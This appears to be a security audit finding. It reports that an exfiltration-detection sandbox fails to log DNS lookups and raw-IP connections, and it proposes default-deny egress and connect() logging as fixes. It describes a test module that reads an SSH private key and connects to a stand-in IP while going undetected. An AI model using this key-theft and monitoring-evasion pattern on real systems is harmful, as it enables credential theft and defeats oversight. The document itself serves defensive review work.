Files: pipeline/dns_sink.py:19 (binds only 127.0.0.1:53), pipeline/review-in-sandbox.sh:20 (starts it but nothing points the resolver at it), pipeline/analyse.py:16-27 (connects computed but unused; contacted_hosts comes only from dns.log), pipeline/review.sh:26 / pipeline/reviewer.sh:26 (--network bridge, no egress rule), pipeline/Containerfile (no resolver or firewall setup).
Exploit: The sandbox's /etc/resolv.conf points at external DNS servers, not 127.0.0.1, so the sink never logs a lookup. Egress is unrestricted, and a module can also skip DNS entirely and connect to a literal IP. Verified in the running sandbox: direct UDP DNS to 1.1.1.1 and 195.179.224.53 got replies; TCP to 8.8.8.8:53, 1.1.1.1:443, 140.82.121.4:443 succeeded; dns.log stayed at 0 bytes even after the repository's credential-stealing control sample ran. A module using openat(dirfd, ".ssh/id_ed25519") plus connect(203.0.113.9:443) produced no bait and no host in analyse.py's summary:
{"bait_files_read": [], "contacted_hosts": [],
"read_secret_then_contacted_external_host": false, ...}
This directly contradicts the proposal's "only the model gateway, package mirrors ... and all of that is recorded" and defeats the product's core exfiltration claim.
Fix: Point /etc/resolv.conf at the sink (and make it immutable to the module), handle AAAA and TCP DNS, or better, intercept DNS in a dedicated network namespace. Enforce egress with a default-deny firewall that allows only the gateway and mirror ranges — the sink is a logger, not a control. Parse and report connect() destinations (including AF_INET/AF_INET6 literals) from strace in analyse.py; include process and UID per connection. Add a sandbox check that a test lookup and a test raw-IP connect are both recorded before the review is allowed to run.